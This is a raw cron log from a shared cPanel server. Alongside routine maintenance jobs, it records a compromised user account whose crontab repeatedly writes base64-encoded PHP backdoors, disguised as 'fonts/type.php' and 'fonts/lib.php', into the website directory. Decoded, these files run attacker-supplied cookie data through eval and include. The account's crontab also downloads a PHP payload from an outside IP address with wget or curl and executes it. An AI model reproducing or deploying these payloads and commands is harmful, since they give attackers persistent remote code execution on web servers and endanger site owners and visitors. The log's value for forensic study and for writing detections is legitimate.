Sep 11 18:14:01 ip-184-168-122-23 CROND[15220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:14:01 ip-184-168-122-23 CROND[15221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:14:01 ip-184-168-122-23 CROND[15223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:14:01 ip-184-168-122-23 CROND[15222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:15:01 ip-184-168-122-23 CROND[15314]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:15:01 ip-184-168-122-23 CROND[15312]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 18:16:01 ip-184-168-122-23 CROND[15438]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 18:16:01 ip-184-168-122-23 CROND[15440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:16:01 ip-184-168-122-23 CROND[15439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:16:01 ip-184-168-122-23 CROND[15444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:16:01 ip-184-168-122-23 CROND[15442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:16:01 ip-184-168-122-23 CROND[15443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:17:01 ip-184-168-122-23 CROND[15534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:17:01 ip-184-168-122-23 CROND[15535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:17:01 ip-184-168-122-23 CROND[15537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:17:01 ip-184-168-122-23 CROND[15538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:18:01 ip-184-168-122-23 CROND[15717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:18:01 ip-184-168-122-23 CROND[15718]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:18:01 ip-184-168-122-23 CROND[15719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:18:01 ip-184-168-122-23 CROND[15721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:18:01 ip-184-168-122-23 CROND[15720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:19:01 ip-184-168-122-23 CROND[15835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:19:01 ip-184-168-122-23 CROND[15836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:19:01 ip-184-168-122-23 CROND[15837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:19:01 ip-184-168-122-23 CROND[15838]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15970]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:20:01 ip-184-168-122-23 CROND[15974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:20:01 ip-184-168-122-23 CROND[15978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:20:01 ip-184-168-122-23 CROND[15979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:21:01 ip-184-168-122-23 CROND[16134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:21:01 ip-184-168-122-23 CROND[16135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:21:01 ip-184-168-122-23 CROND[16136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:21:01 ip-184-168-122-23 CROND[16137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:22:01 ip-184-168-122-23 CROND[16228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:22:01 ip-184-168-122-23 CROND[16231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:22:01 ip-184-168-122-23 CROND[16232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:22:01 ip-184-168-122-23 CROND[16230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:22:01 ip-184-168-122-23 CROND[16233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:23:01 ip-184-168-122-23 CROND[16393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:23:01 ip-184-168-122-23 CROND[16394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:23:01 ip-184-168-122-23 CROND[16395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:23:01 ip-184-168-122-23 CROND[16396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:24:02 ip-184-168-122-23 CROND[16480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:24:02 ip-184-168-122-23 CROND[16479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 18:24:02 ip-184-168-122-23 CROND[16481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:24:02 ip-184-168-122-23 CROND[16478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:24:02 ip-184-168-122-23 CROND[16482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:25:01 ip-184-168-122-23 CROND[16608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 18:25:01 ip-184-168-122-23 CROND[16609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 18:25:01 ip-184-168-122-23 CROND[16613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 18:25:01 ip-184-168-122-23 CROND[16615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 18:25:01 ip-184-168-122-23 CROND[16612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 18:25:01 ip-184-168-122-23 CROND[16614]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 18:25:01 ip-184-168-122-23 CROND[16611]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
